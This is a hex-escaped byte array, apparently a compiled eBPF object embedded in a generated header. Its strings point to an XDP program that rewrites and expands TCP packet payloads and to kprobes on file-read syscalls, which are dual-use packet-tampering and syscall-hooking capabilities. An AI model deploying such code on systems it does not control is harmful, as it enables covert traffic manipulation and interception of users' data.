+\x5f\x70\x72\x69\x6e\x74\x6b\x28\x22\x42\x50\x46\x20\x66\x69\x6e\x69\x73\x68\ +\x65\x64\x20\x77\x69\x74\x68\x20\x65\x72\x72\x6f\x72\x20\x6f\x6e\x20\x65\x78\ +\x70\x61\x6e\x73\x69\x6f\x6e\x5c\x6e\x22\x29\x3b\0\x20\x20\x20\x20\x64\x61\x74\ +\x61\x5f\x6c\x65\x6e\x5f\x6e\x65\x78\x74\x20\x3d\x20\x64\x61\x74\x61\x5f\x65\ +\x6e\x64\x2d\x64\x61\x74\x61\x3b\0\x20\x20\x20\x20\x62\x70\x66\x5f\x70\x72\x69\ +\x6e\x74\x6b\x28\x22\x50\x72\x65\x76\x69\x6f\x75\x73\x20\x6c\x65\x6e\x67\x74\ +\x68\x3a\x20\x25\x69\x2c\x20\x63\x75\x72\x72\x65\x6e\x74\x20\x6c\x65\x6e\x67\ +\x74\x68\x3a\x20\x25\x69\x5c\x6e\x22\x2c\x20\x64\x61\x74\x61\x5f\x6c\x65\x6e\ +\x5f\x70\x72\x65\x76\x2c\x20\x64\x61\x74\x61\x5f\x6c\x65\x6e\x5f\x6e\x65\x78\ +\x74\x29\x3b\0\x20\x20\x20\x20\x62\x70\x66\x5f\x70\x72\x69\x6e\x74\x6b\x28\x22\ +\x4e\x45\x57\x20\x64\x61\x74\x61\x5f\x65\x6e\x64\x3a\x20\x25\x69\x2c\x20\x70\ +\x61\x79\x6c\x6f\x61\x64\x3a\x20\x25\x69\x5c\x6e\x22\x2c\x20\x64\x61\x74\x61\ +\x5f\x65\x6e\x64\x2c\x20\x70\x61\x79\x6c\x6f\x61\x64\x29\x3b\0\x20\x20\x20\x20\ +\x62\x70\x66\x5f\x70\x72\x69\x6e\x74\x6b\x28\x22\x41\x6e\x64\x20\x6f\x6e\x20\ +\x4e\x45\x57\x20\x43\x54\x58\x20\x64\x61\x74\x61\x5f\x65\x6e\x64\x3a\x20\x25\ +\x69\x2c\x20\x70\x61\x79\x6c\x6f\x61\x64\x3a\x20\x25\x69\x5c\x6e\x22\x2c\x20\ +\x63\x74\x78\x2d\x3e\x64\x61\x74\x61\x5f\x65\x6e\x64\x2c\x20\x70\x61\x79\x6c\ +\x6f\x61\x64\x29\x3b\0\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28\x69\x70\ +\x5f\x68\x65\x61\x64\x65\x72\x5f\x62\x6f\x75\x6e\x64\x5f\x63\x68\x65\x63\x6b\ +\x28\x69\x70\x2c\x20\x64\x61\x74\x61\x5f\x65\x6e\x64\x29\x3c\x30\x29\x7b\0\x20\ +\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x70\x66\x5f\x70\x72\x69\x6e\ +\x74\x6b\x28\x22\x42\x6f\x75\x6e\x64\x20\x63\x68\x65\x63\x6b\x20\x42\x20\x66\ +\x61\x69\x6c\x65\x64\x20\x77\x68\x69\x6c\x65\x20\x65\x78\x70\x61\x6e\x64\x69\ +\x6e\x67\x5c\x6e\x22\x29\x3b\0\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28\ +\x74\x63\x70\x5f\x68\x65\x61\x64\x65\x72\x5f\x62\x6f\x75\x6e\x64\x5f\x63\x68\ +\x65\x63\x6b\x28\x74\x63\x70\x2c\x20\x64\x61\x74\x61\x5f\x65\x6e\x64\x29\x29\ +\x7b\0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x70\x66\x5f\x70\x72\ +\x69\x6e\x74\x6b\x28\x22\x42\x6f\x75\x6e\x64\x20\x63\x68\x65\x63\x6b\x20\x44\ +\x20\x66\x61\x69\x6c\x65\x64\x20\x77\x68\x69\x6c\x65\x20\x65\x78\x70\x61\x6e\ +\x64\x69\x6e\x67\x5c\x6e\x22\x29\x3b\0\x20\x20\x20\x20\x20\x20\x20\x20\x70\x61\ +\x79\x6c\x6f\x61\x64\x5f\x73\x69\x7a\x65\x20\x3d\x20\x62\x70\x66\x5f\x6e\x74\ +\x6f\x68\x73\x28\x69\x70\x2d\x3e\x74\x6f\x74\x5f\x6c\x65\x6e\x29\x20\x2d\x20\ +\x28\x74\x63\x70\x2d\x3e\x64\x6f\x66\x66\x20\x2a\x20\x34\x29\x20\x2d\x20\x28\ +\x69\x70\x2d\x3e\x69\x68\x6c\x20\x2a\x20\x34\x29\x3b\0\x20\x20\x20\x20\x20\x20\ +\x20\x20\x69\x66\x28\x70\x61\x79\x6c\x6f\x61\x64\x5f\x73\x69\x7a\x65\x20\x3c\ +\x20\x30\x7c\x7c\x20\x70\x61\x79\x6c\x6f\x61\x64\x5f\x73\x69\x7a\x65\x3e\x38\ +\x38\x38\x38\x38\x29\x7b\0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\ +\x70\x66\x5f\x70\x72\x69\x6e\x74\x6b\x28\x22\x55\x6e\x6c\x69\x6b\x65\x6c\x79\ +\x20\x79\x6f\x75\x20\x61\x72\x65\x20\x68\x65\x72\x65\x2c\x20\x62\x75\x74\x20\ +\x4f\x4b\x5c\x6e\x22\x29\x3b\0\x20\x20\x20\x20\x5f\x5f\x62\x75\x69\x6c\x74\x69\ +\x6e\x5f\x6d\x65\x6d\x63\x70\x79\x28\x28\x72\x65\x74\x2e\x65\x74\x68\x29\x2c\ +\x20\x26\x65\x74\x68\x5f\x63\x6f\x70\x79\x2c\x20\x73\x69\x7a\x65\x6f\x66\x28\ +\x73\x74\x72\x75\x63\x74\x20\x65\x74\x68\x68\x64\x72\x29\x29\x3b\0\x20\x20\x20\ +\x20\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x5f\x6d\x65\x6d\x63\x70\x79\x28\x28\ +\x72\x65\x74\x2e\x69\x70\x29\x2c\x20\x26\x69\x70\x5f\x63\x6f\x70\x79\x2c\x20\ +\x73\x69\x7a\x65\x6f\x66\x28\x73\x74\x72\x75\x63\x74\x20\x69\x70\x68\x64\x72\ +\x29\x29\x3b\0\x20\x20\x20\x20\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x5f\x6d\x65\ +\x6d\x63\x70\x79\x28\x28\x72\x65\x74\x2e\x74\x63\x70\x29\x2c\x20\x26\x74\x63\ +\x70\x5f\x63\x6f\x70\x79\x2c\x20\x73\x69\x7a\x65\x6f\x66\x28\x73\x74\x72\x75\ +\x63\x74\x20\x74\x63\x70\x68\x64\x72\x29\x29\x3b\x20\x20\0\x30\x3a\x38\0\x20\ +\x20\x20\x20\x62\x70\x66\x5f\x70\x72\x69\x6e\x74\x6b\x28\x22\x62\x65\x66\x6f\ +\x72\x65\x3a\x20\x25\x69\x2c\x20\x63\x68\x65\x63\x6b\x73\x75\x6d\x20\x25\x75\ +\x5c\x6e\x22\x2c\x20\x72\x65\x74\x2e\x69\x70\x2d\x3e\x74\x6f\x74\x5f\x6c\x65\ +\x6e\x2c\x20\x72\x65\x74\x2e\x69\x70\x2d\x3e\x63\x68\x65\x63\x6b\x29\x3b\0\x20\ +\x20\x20\x20\x72\x65\x74\x2e\x69\x70\x2d\x3e\x74\x6f\x74\x5f\x6c\x65\x6e\x20\ +\x3d\x20\x62\x70\x66\x5f\x68\x74\x6f\x6e\x73\x28\x62\x70\x66\x5f\x6e\x74\x6f\ +\x68\x73\x28\x72\x65\x74\x2e\x69\x70\x2d\x3e\x74\x6f\x74\x5f\x6c\x65\x6e\x29\ +\x20\x2b\x20\x6d\x6f\x72\x65\x5f\x62\x79\x74\x65\x73\x29\x3b\0\x20\x20\x20\x20\ +\x72\x65\x74\x2e\x69\x70\x2d\x3e\x63\x68\x65\x63\x6b\x20\x3d\x20\x30\x3b\0\x2f\ +\x68\x6f\x6d\x65\x2f\x6f\x73\x62\x6f\x78\x65\x73\x2f\x54\x46\x47\x2f\x73\x72\ +\x63\x2f\x65\x62\x70\x66\x2f\x69\x6e\x63\x6c\x75\x64\x65\x2f\x70\x61\x63\x6b\ +\x65\x74\x2f\x70\x72\x6f\x74\x6f\x63\x6f\x6c\x2f\x69\x70\x5f\x68\x65\x6c\x70\ +\x65\x72\x2e\x68\0\x20\x20\x20\x20\x62\x70\x66\x5f\x70\x72\x69\x6e\x74\x6b\x28\ +\x22\x63\x73\x75\x6d\x3a\x20\x25\x75\x20\x66\x6f\x72\x20\x64\x61\x74\x61\x5f\ +\x73\x74\x61\x72\x74\x20\x25\x75\x2c\x20\x64\x61\x74\x61\x5f\x73\x69\x7a\x65\ +\x20\x25\x69\x5c\x6e\x22\x2c\x20\x2a\x63\x73\x75\x6d\x2c\x20\x64\x61\x74\x61\ +\x5f\x73\x74\x61\x72\x74\x2c\x20\x64\x61\x74\x61\x5f\x73\x69\x7a\x65\x29\x3b\0\ +\x20\x20\x20\x20\x2a\x63\x73\x75\x6d\x20\x3d\x20\x62\x70\x66\x5f\x63\x73\x75\ +\x6d\x5f\x64\x69\x66\x66\x28\x30\x2c\x20\x30\x2c\x20\x64\x61\x74\x61\x5f\x73\ +\x74\x61\x72\x74\x2c\x20\x64\x61\x74\x61\x5f\x73\x69\x7a\x65\x2c\x20\x2a\x63\ +\x73\x75\x6d\x29\x3b\0\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28\x63\x73\ +\x75\x6d\x20\x3e\x3e\x20\x31\x36\x29\x7b\0\x09\x72\x65\x74\x2e\x69\x70\x2d\x3e\ +\x63\x68\x65\x63\x6b\x20\x3d\x20\x63\x73\x75\x6d\x3b\0\x20\x20\x20\x20\x62\x70\ +\x66\x5f\x70\x72\x69\x6e\x74\x6b\x28\x22\x61\x66\x74\x65\x72\x3a\x20\x25\x69\ +\x2c\x20\x63\x68\x65\x63\x6b\x73\x75\x6d\x20\x25\x75\x5c\x6e\x22\x2c\x20\x72\ +\x65\x74\x2e\x69\x70\x2d\x3e\x74\x6f\x74\x5f\x6c\x65\x6e\x2c\x20\x72\x65\x74\ +\x2e\x69\x70\x2d\x3e\x63\x68\x65\x63\x6b\x29\x3b\0\x20\x20\x20\x20\x20\x20\x20\ +\x20\x69\x66\x28\x28\x76\x6f\x69\x64\x2a\x29\x70\x61\x79\x6c\x6f\x61\x64\x20\ +\x2b\x20\x73\x69\x7a\x65\x6f\x66\x28\x53\x55\x42\x53\x54\x49\x54\x55\x54\x49\ +\x4f\x4e\x5f\x4e\x45\x57\x5f\x50\x41\x59\x4c\x4f\x41\x44\x29\x20\x2d\x31\x20\ +\x3e\x20\x64\x61\x74\x61\x5f\x65\x6e\x64\x29\x7b\0\x20\x20\x20\x20\x20\x20\x20\ +\x20\x20\x20\x20\x20\x62\x70\x66\x5f\x70\x72\x69\x6e\x74\x6b\x28\x22\x42\x6f\ +\x75\x6e\x64\x20\x63\x68\x65\x63\x6b\x20\x45\x20\x66\x61\x69\x6c\x65\x64\x20\ +\x77\x68\x69\x6c\x65\x20\x65\x78\x70\x61\x6e\x64\x69\x6e\x67\x5c\x6e\x22\x29\ +\x3b\0\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28\x74\x63\x70\x5f\x70\x61\ +\x79\x6c\x6f\x61\x64\x5f\x62\x6f\x75\x6e\x64\x5f\x63\x68\x65\x63\x6b\x28\x70\ +\x61\x79\x6c\x6f\x61\x64\x2c\x20\x70\x61\x79\x6c\x6f\x61\x64\x5f\x73\x69\x7a\ +\x65\x2c\x20\x64\x61\x74\x61\x5f\x65\x6e\x64\x29\x29\x7b\0\x20\x20\x20\x20\x20\ +\x20\x20\x20\x20\x20\x20\x20\x70\x61\x79\x6c\x6f\x61\x64\x5b\x69\x69\x5d\x20\ +\x3d\x20\x27\x5c\x30\x27\x3b\0\x20\x20\x20\x20\x69\x66\x28\x70\x61\x74\x74\x65\ +\x72\x6e\x5f\x73\x69\x7a\x65\x20\x3e\x20\x70\x61\x79\x6c\x6f\x61\x64\x5f\x73\ +\x69\x7a\x65\x20\x7c\x7c\x20\x70\x61\x74\x74\x65\x72\x6e\x5f\x73\x69\x7a\x65\ +\x20\x2b\x20\x28\x76\x6f\x69\x64\x2a\x29\x70\x61\x79\x6c\x6f\x61\x64\x5f\x6f\ +\x72\x67\x3e\x70\x61\x63\x6b\x65\x74\x5f\x6c\x69\x6d\x69\x74\x20\x7c\x7c\x20\ +\x70\x61\x79\x6c\x6f\x61\x64\x5f\x73\x69\x7a\x65\x20\x2b\x20\x28\x76\x6f\x69\ +\x64\x2a\x29\x70\x61\x79\x6c\x6f\x61\x64\x5f\x6f\x72\x67\x20\x3e\x20\x70\x61\ +\x63\x6b\x65\x74\x5f\x6c\x69\x6d\x69\x74\x29\x7b\0\x20\x20\x20\x20\x69\x66\x28\ +\x28\x76\x6f\x69\x64\x2a\x29\x70\x61\x79\x6c\x6f\x61\x64\x5f\x6f\x72\x67\x20\ +\x2b\x20\x70\x61\x74\x74\x65\x72\x6e\x5f\x73\x69\x7a\x65\x20\x2b\x20\x28\x70\ +\x61\x79\x6c\x6f\x61\x64\x5f\x73\x69\x7a\x65\x2d\x70\x61\x74\x74\x65\x72\x6e\ +\x5f\x73\x69\x7a\x65\x29\x20\x3e\x20\x28\x76\x6f\x69\x64\x2a\x29\x70\x61\x63\ +\x6b\x65\x74\x5f\x6c\x69\x6d\x69\x74\x29\x7b\0\x20\x20\x20\x20\x20\x20\x20\x20\ +\x70\x61\x79\x6c\x6f\x61\x64\x5f\x6f\x72\x67\x5b\x69\x69\x5d\x20\x3d\x20\x70\ +\x61\x74\x74\x65\x72\x6e\x5b\x69\x69\x5d\x3b\0\x20\x20\x20\x20\x20\x20\x20\x20\ +\x20\x20\x20\x20\x62\x70\x66\x5f\x70\x72\x69\x6e\x74\x6b\x28\x22\x42\x6f\x75\ +\x6e\x64\x20\x63\x68\x65\x63\x6b\x20\x46\x20\x66\x61\x69\x6c\x65\x64\x20\x77\ +\x68\x69\x6c\x65\x20\x65\x78\x70\x61\x6e\x64\x69\x6e\x67\x5c\x6e\x22\x29\x3b\0\ +\x20\x20\x20\x20\x20\x20\x20\x20\x62\x70\x66\x5f\x70\x72\x69\x6e\x74\x6b\x28\ +\x22\x49\x6e\x76\x61\x6c\x69\x64\x20\x61\x74\x74\x65\x6d\x70\x74\x20\x74\x6f\ +\x20\x73\x75\x62\x73\x74\x69\x74\x75\x74\x65\x20\x74\x68\x65\x20\x70\x61\x79\ +\x6c\x6f\x61\x64\x20\x41\x5c\x6e\x22\x29\x3b\0\x20\x20\x20\x20\x20\x20\x20\x20\ +\x62\x70\x66\x5f\x70\x72\x69\x6e\x74\x6b\x28\x22\x49\x6e\x76\x61\x6c\x69\x64\ +\x20\x61\x74\x74\x65\x6d\x70\x74\x20\x74\x6f\x20\x73\x75\x62\x73\x74\x69\x74\ +\x75\x74\x65\x20\x74\x68\x65\x20\x70\x61\x79\x6c\x6f\x61\x64\x20\x43\x5c\x6e\ +\x22\x29\x3b\0\x20\x20\x20\x20\x20\x20\x20\x20\x62\x70\x66\x5f\x70\x72\x69\x6e\ +\x74\x6b\x28\x22\x42\x50\x46\x20\x66\x69\x6e\x69\x73\x68\x65\x64\x20\x77\x69\ +\x74\x68\x20\x72\x65\x74\x20\x25\x69\x20\x61\x6e\x64\x20\x70\x61\x79\x6c\x6f\ +\x61\x64\x20\x25\x73\x20\x6f\x66\x20\x73\x69\x7a\x65\x20\x25\x69\x5c\x6e\x20\ +\x22\x2c\x20\x72\x65\x74\x2e\x63\x6f\x64\x65\x2c\x20\x70\x61\x79\x6c\x6f\x61\ +\x64\x2c\x20\x70\x61\x79\x6c\x6f\x61\x64\x5f\x73\x69\x7a\x65\x29\x3b\0\x6b\x70\ +\x72\x6f\x62\x65\x5f\x6b\x73\x79\x73\x5f\x72\x65\x61\x64\x2e\x5f\x5f\x5f\x5f\ +\x66\x6d\x74\0\x6b\x72\x65\x74\x70\x72\x6f\x62\x65\x5f\x76\x66\x73\x5f\x72\x65\ +\x61\x64\x2e\x5f\x5f\x5f\x5f\x66\x6d\x74\x2e\x31\0\x6b\x72\x65\x74\x70\x72\x6f\ +\x62\x65\x5f\x76\x66\x73\x5f\x72\x65\x61\x64\x2e\x5f\x5f\x5f\x5f\x66\x6d\x74\ +\x2e\x33\0\x6b\x72\x65\x74\x70\x72\x6f\x62\x65\x5f\x76\x66\x73\x5f\x72\x65\x61\ +\x64\x2e\x5f\x5f\x5f\x5f\x66\x6d\x74\x2e\x34\0\x6b\x72\x65\x74\x70\x72\x6f\x62\ +\x65\x5f\x76\x66\x73\x5f\x72\x65\x61\x64\x2e\x5f\x5f\x5f\x5f\x66\x6d\x74\x2e\ +\x35\0\x4c\x49\x43\x45\x4e\x53\x45\0\x78\x64\x70\x5f\x72\x65\x63\x65\x69\x76\ +\x65\x2e\x5f\x5f\x5f\x5f\x66\x6d\x74\0\x78\x64\x70\x5f\x72\x65\x63\x65\x69\x76\ +\x65\x2e\x5f\x5f\x5f\x5f\x66\x6d\x74\x2e\x36\0\x78\x64\x70\x5f\x72\x65\x63\x65\ +\x69\x76\x65\x2e\x5f\x5f\x5f\x5f\x66\x6d\x74\x2e\x37\0\x78\x64\x70\x5f\x72\x65\ +\x63\x65\x69\x76\x65\x2e\x5f\x5f\x5f\x5f\x66\x6d\x74\x2e\x38\0\x78\x64\x70\x5f\ +\x72\x65\x63\x65\x69\x76\x65\x2e\x5f\x5f\x5f\x5f\x66\x6d\x74\x2e\x39\0\x78\x64\ +\x70\x5f\x72\x65\x63\x65\x69\x76\x65\x2e\x5f\x5f\x5f\x5f\x66\x6d\x74\x2e\x31\ +\x30\0\x78\x64\x70\x5f\x72\x65\x63\x65\x69\x76\x65\x2e\x5f\x5f\x5f\x5f\x66\x6d\ +\x74\x2e\x31\x31\0\x78\x64\x70\x5f\x72\x65\x63\x65\x69\x76\x65\x2e\x5f\x5f\x5f\ +\x5f\x66\x6d\x74\x2e\x31\x33\0\x78\x64\x70\x5f\x72\x65\x63\x65\x69\x76\x65\x2e\ +\x5f\x5f\x5f\x5f\x66\x6d\x74\x2e\x31\x34\0\x78\x64\x70\x5f\x72\x65\x63\x65\x69\ +\x76\x65\x2e\x5f\x5f\x5f\x5f\x66\x6d\x74\x2e\x31\x35\0\x78\x64\x70\x5f\x72\x65\ +\x63\x65\x69\x76\x65\x2e\x5f\x5f\x5f\x5f\x66\x6d\x74\x2e\x31\x36\0\x78\x64\x70\ +\x5f\x72\x65\x63\x65\x69\x76\x65\x2e\x5f\x5f\x5f\x5f\x66\x6d\x74\x2e\x31\x37\0\ +\x78\x64\x70\x5f\x72\x65\x63\x65\x69\x76\x65\x2e\x5f\x5f\x5f\x5f\x66\x6d\x74\ +\x2e\x31\x38\0\x78\x64\x70\x5f\x72\x65\x63\x65\x69\x76\x65\x2e\x5f\x5f\x5f\x5f\ +\x66\x6d\x74\x2e\x31\x39\0\x78\x64\x70\x5f\x72\x65\x63\x65\x69\x76\x65\x2e\x5f\ +\x5f\x5f\x5f\x66\x6d\x74\x2e\x32\x30\0\x78\x64\x70\x5f\x72\x65\x63\x65\x69\x76\ +\x65\x2e\x5f\x5f\x5f\x5f\x66\x6d\x74\x2e\x32\x31\0\x78\x64\x70\x5f\x72\x65\x63\ +\x65\x69\x76\x65\x2e\x5f\x5f\x5f\x5f\x66\x6d\x74\x2e\x32\x33\0\x78\x64\x70\x5f\ +\x72\x65\x63\x65\x69\x76\x65\x2e\x5f\x5f\x5f\x5f\x66\x6d\x74\x2e\x32\x34\0\x78\ +\x64\x70\x5f\x72\x65\x63\x65\x69\x76\x65\x2e\x5f\x5f\x5f\x5f\x66\x6d\x74\x2e\ +\x32\x35\0\x78\x64\x70\x5f\x72\x65\x63\x65\x69\x76\x65\x2e\x5f\x5f\x5f\x5f\x66\ +\x6d\x74\x2e\x32\x36\0\x78\x64\x70\x5f\x72\x65\x63\x65\x69\x76\x65\x2e\x5f\x5f\ +\x5f\x5f\x66\x6d\x74\x2e\x32\x37\0\x68\x61\x6e\x64\x6c\x65\x5f\x73\x79\x73\x5f\ +\x72\x65\x61\x64\x2e\x5f\x5f\x5f\x5f\x66\x6d\x74\0\x65\x78\x70\x61\x6e\x64\x5f\ +\x74\x63\x70\x5f\x70\x61\x63\x6b\x65\x74\x5f\x70\x61\x79\x6c\x6f\x61\x64\x2e\ +\x5f\x5f\x5f\x5f\x66\x6d\x74\0\x65\x78\x70\x61\x6e\x64\x5f\x74\x63\x70\x5f\x70\ +\x61\x63\x6b\x65\x74\x5f\x70\x61\x79\x6c\x6f\x61\x64\x2e\x5f\x5f\x5f\x5f\x66\ +\x6d\x74\x2e\x32\x38\0\x65\x78\x70\x61\x6e\x64\x5f\x74\x63\x70\x5f\x70\x61\x63\ +\x6b\x65\x74\x5f\x70\x61\x79\x6c\x6f\x61\x64\x2e\x5f\x5f\x5f\x5f\x66\x6d\x74\ +\x2e\x32\x39\0\x65\x78\x70\x61\x6e\x64\x5f\x74\x63\x70\x5f\x70\x61\x63\x6b\x65\ +\x74\x5f\x70\x61\x79\x6c\x6f\x61\x64\x2e\x5f\x5f\x5f\x5f\x66\x6d\x74\x2e\x33\ +\x30\0\x65\x78\x70\x61\x6e\x64\x5f\x74\x63\x70\x5f\x70\x61\x63\x6b\x65\x74\x5f\ +\x70\x61\x79\x6c\x6f\x61\x64\x2e\x5f\x5f\x5f\x5f\x66\x6d\x74\x2e\x33\x31\0\x65\ +\x78\x70\x61\x6e\x64\x5f\x74\x63\x70\x5f\x70\x61\x63\x6b\x65\x74\x5f\x70\x61\ +\x79\x6c\x6f\x61\x64\x2e\x5f\x5f\x5f\x5f\x66\x6d\x74\x2e\x33\x32\0\x69\x70\x76\ +\x34\x5f\x63\x73\x75\x6d\x2e\x5f\x5f\x5f\x5f\x66\x6d\x74\0\x6d\x6f\x64\x69\x66\ +\x79\x5f\x70\x61\x79\x6c\x6f\x61\x64\x2e\x5f\x5f\x5f\x5f\x66\x6d\x74\0\x6d\x6f\ +\x64\x69\x66\x79\x5f\x70\x61\x79\x6c\x6f\x61\x64\x2e\x5f\x5f\x5f\x5f\x66\x6d\ +\x74\x2e\x33\x34\0\x2e\x6d\x61\x70\x73\0\x2e\x72\x6f\x64\x61\x74\x61\0\x6c\x69\ +\x63\x65\x6e\x73\x65\0\x9f\xeb\x01\0\x20\0\0\0\0\0\0\0\x44\0\0\0\x44\0\0\0\xe4\ +\x0c\0\0\x28\x0d\0\0\x8c\x01\0\0\x08\0\0\0\x5b\x01\0\0\x01\0\0\0\0\0\0\0\x22\0\ +\0\0\x60\x02\0\0\x01\0\0\0\0\0\0\0\x2a\0\0\0\x39\x04\0\0\x01\0\0\0\0\0\0\0\x2f\ +\0\0\0\x1b\x07\0\0\x01\0\0\0\0\0\0\0\x33\0\0\0\x10\0\0\0\x5b\x01\0\0\x02\0\0\0\ +\0\0\0\0\x77\x01\0\0\xa6\x01\0\0\x0e\x8c\0\0\x08\0\0\0\x77\x01\0\0\xd5\x01\0\0\ +\x02\xac\0\0\x60\x02\0\0\x0d\0\0\0\0\0\0\0\x83\x02\0\0\xaf\x02\0\0\x09\xfc\0\0\ +\x08\0\0\0\x83\x02\0\0\xc5\x02\0\0\x09\0\x01\0\x30\0\0\0\x83\x02\0\0\xe4\x02\0\ +\0\x19\x10\x01\0\x38\0\0\0\x83\x02\0\0\x01\x03\0\0\x1e\x14\x01\0\x40\0\0\0\x83\ +\x02\0\0\x24\x03\0\0\x16\xb0\0\0\x50\0\0\0\x83\x02\0\0\x24\x03\0\0\x0b\xb0\0\0\ +\x58\0\0\0\x83\x02\0\0\x55\x03\0\0\x20\xb8\0\0\x60\0\0\0\x83\x02\0\0\x76\x03\0\ +\0\x1a\xb4\0\0\x68\0\0\0\x83\x02\0\0\x55\x03\0\0\x20\xb8\0\0\x80\0\0\0\x83\x02\ +\0\0\xe4\x02\0\0\x19\x10\x01\0\x98\0\0\0\x83\x02\0\0\x96\x03\0\0\x05\xcc\0\0\ +\xb8\0\0\0\x83\x02\0\0\xd4\x03\0\0\x05\xd0\0\0\xe8\0\0\0\x83\x02\0\0\x04\x04\0\ +\0\x01\x1c\x01\0\x39\x04\0\0\x34\0\0\0\0\0\0\0\x83\x02\0\0\x24\x03\0\0\x16\x48\ +\x01\0\x08\0\0\0\x83\x02\0\0\x24\x03\0\0\x0b\x48\x01\0\x18\0\0\0\x83\x02\0\0\0\ +\0\0\0\0\0\0\0\x20\0\0\0\x83\x02\0\0\x5b\x04\0\0\x38\x64\x01\0\x38\0\0\0\x83\ +\x02\0\0\xbc\x04\0\0\x16\x68\x01\0\x40\0\0\0\x83\x02\0\0\xbc\x04\0\0\x1f\x68\ +\x01\0\x48\0\0\0\x83\x02\0\0\xbc\x04\0\0\x09\x68\x01\0\x50\0\0\0\x83\x02\0\0\ +\xe8\x04\0\0\x09\x70\x01\0\x80\0\0\0\x83\x02\0\0\x0b\x05\0\0\x01\x24\x02\0\x90\ +\0\0\0\x83\x02\0\0\x0d\x05\0\0\x17\x88\x01\0\xa0\0\0\0\x83\x02\0\0\x28\x05\0\0\ +\x0a\xac\x01\0\xc0\0\0\0\x83\x02\0\0\0\0\0\0\0\0\0\0\xc8\0\0\0\x83\x02\0\0\x3d\ +\x05\0\0\x0c\xb8\x01\0\xf0\0\0\0\x83\x02\0\0\x3d\x05\0\0\x0c\xb8\x01\0\xf8\0\0\ +\0\x83\x02\0\0\x3d\x05\0\0\x30\xb8\x01\0\x08\x01\0\0\x83\x02\0\0\x3d\x05\0\0\ +\x21\xb8\x01\0\x18\x01\0\0\x83\x02\0\0\x3d\x05\0\0\x0c\xb8\x01\0\x28\x01\0\0\ +\x83\x02\0\0\x3d\x05\0\0\x0c\xb8\x01\0\x30\x01\0\0\x83\x02\0\0\x3d\x05\0\0\x30\ +\xb8\x01\0\x40\x01\0\0\x83\x02\0\0\x3d\x05\0\0\x21\xb8\x01\0\x50\x01\0\0\x83\ +\x02\0\0\x3d\x05\0\0\x0c\xb8\x01\0\x68\x01\0\0\x83\x02\0\0\x3d\x05\0\0\x0c\xb8\ +\x01\0\x70\x01\0\0\x83\x02\0\0\x3d\x05\0\0\x30\xb8\x01\0\x80\x01\0\0\x83\x02\0\ +\0\x3d\x05\0\0\x21\xb8\x01\0\x90\x01\0\0\x83\x02\0\0\x3d\x05\0\0\x0c\xb8\x01\0\ +\xa0\x01\0\0\x83\x02\0\0\x3d\x05\0\0\x0c\xb8\x01\0\xa8\x01\0\0\x83\x02\0\0\x3d\ +\x05\0\0\x30\xb8\x01\0\xb8\x01\0\0\x83\x02\0\0\x3d\x05\0\0\x21\xb8\x01\0\xc8\ +\x01\0\0\x83\x02\0\0\x3d\x05\0\0\x0c\xb8\x01\0\xe0\x01\0\0\x83\x02\0\0\x3d\x05\ +\0\0\x0c\xb8\x01\0\xe8\x01\0\0\x83\x02\0\0\x3d\x05\0\0\x30\xb8\x01\0\xf8\x01\0\ +\0\x83\x02\0\0\x3d\x05\0\0\x21\xb8\x01\0\x08\x02\0\0\x83\x02\0\0\x3d\x05\0\0\ +\x0c\xb8\x01\0\x18\x02\0\0\x83\x02\0\0\x3d\x05\0\0\x0c\xb8\x01\0\x28\x02\0\0\ +\x83\x02\0\0\x79\x05\0\0\x0a\xd4\x01\0\x30\x02\0\0\x83\x02\0\0\x8a\x05\0\0\x0f\ +\xe4\x01\0\x38\x02\0\0\x83\x02\0\0\x8a\x05\0\0\x1c\xe4\x01\0\x68\x02\0\0\x83\ +\x02\0\0\x8a\x05\0\0\x0f\xe4\x01\0\x70\x02\0\0\x83\x02\0\0\x8a\x05\0\0\x1c\xe4\ +\x01\0\x98\x02\0\0\x83\x02\0\0\x8a\x05\0\0\x0f\xe4\x01\0\xa0\x02\0\0\x83\x02\0\ +\0\x8a\x05\0\0\x1c\xe4\x01\0\xc0\x02\0\0\x83\x02\0\0\x8a\x05\0\0\x0f\xe4\x01\0\ +\xc8\x02\0\0\x83\x02\0\0\x8a\x05\0\0\x1c\xe4\x01\0\xe8\x02\0\0\x83\x02\0\0\x8a\ +\x05\0\0\x0f\xe4\x01\0\xf0\x02\0\0\x83\x02\0\0\x8a\x05\0\0\x1c\xe4\x01\0\x10\ +\x03\0\0\x83\x02\0\0\x8a\x05\0\0\x0f\xe4\x01\0\x18\x03\0\0\x83\x02\0\0\x8a\x05\ +\0\0\x1c\xe4\x01\0\x38\x03\0\0\x83\x02\0\0\xdb\x05\0\0\x09\x04\x02\0\x68\x03\0\ +\0\x83\x02\0\0\x19\x06\0\0\x08\x08\x02\0\x98\x03\0\0\x83\x02\0\0\x19\x06\0\0\ +\x08\x08\x02\0\xa8\x03\0\0\x83\x02\0\0\x5b\x06\0\0\x09\x0c\x02\0\xc8\x03\0\0\ +\x83\x02\0\0\x91\x06\0\0\x05\x14\x02\0\x1b\x07\0\0\x89\0\0\0\0\0\0\0\x24\x07\0\ +\0\x50\x07\0\0\0\xd4\0\0\x08\0\0\0\x24\x07\0\0\x79\x07\0\0\x29\xe0\0\0\x10\0\0\ +\0\x24\x07\0\0\xaf\x07\0\0\x25\xe4\0\0\x18\0\0\0\xd9\x07\0\0\x14\x08\0\0\x15\ +\x30\0\0\x28\0\0\0\x24\x07\0\0\x4d\x08\0\0\x08\x0c\x01\0\x30\0\0\0\x24\x07\0\0\ +\x83\x08\0\0\x09\x10\x01\0\x50\0\0\0\xd9\x07\0\0\xad\x08\0\0\x14\x4c\0\0\x60\0\ +\0\0\x24\x07\0\0\xdb\x08\0\0\x09\x24\x01\0\x68\0\0\0\x24\x07\0\0\x0b\x09\0\0\ +\x09\x28\x01\0\x80\0\0\0\xd9\x07\0\0\x92\x09\0\0\x10\xb8\0\0\x88\0\0\0\x24\x07\ +\0\0\xac\x09\0\0\x09\x38\x01\0\x90\0\0\0\xd9\x07\0\0\xd8\x09\0\0\x15\x68\0\0\ 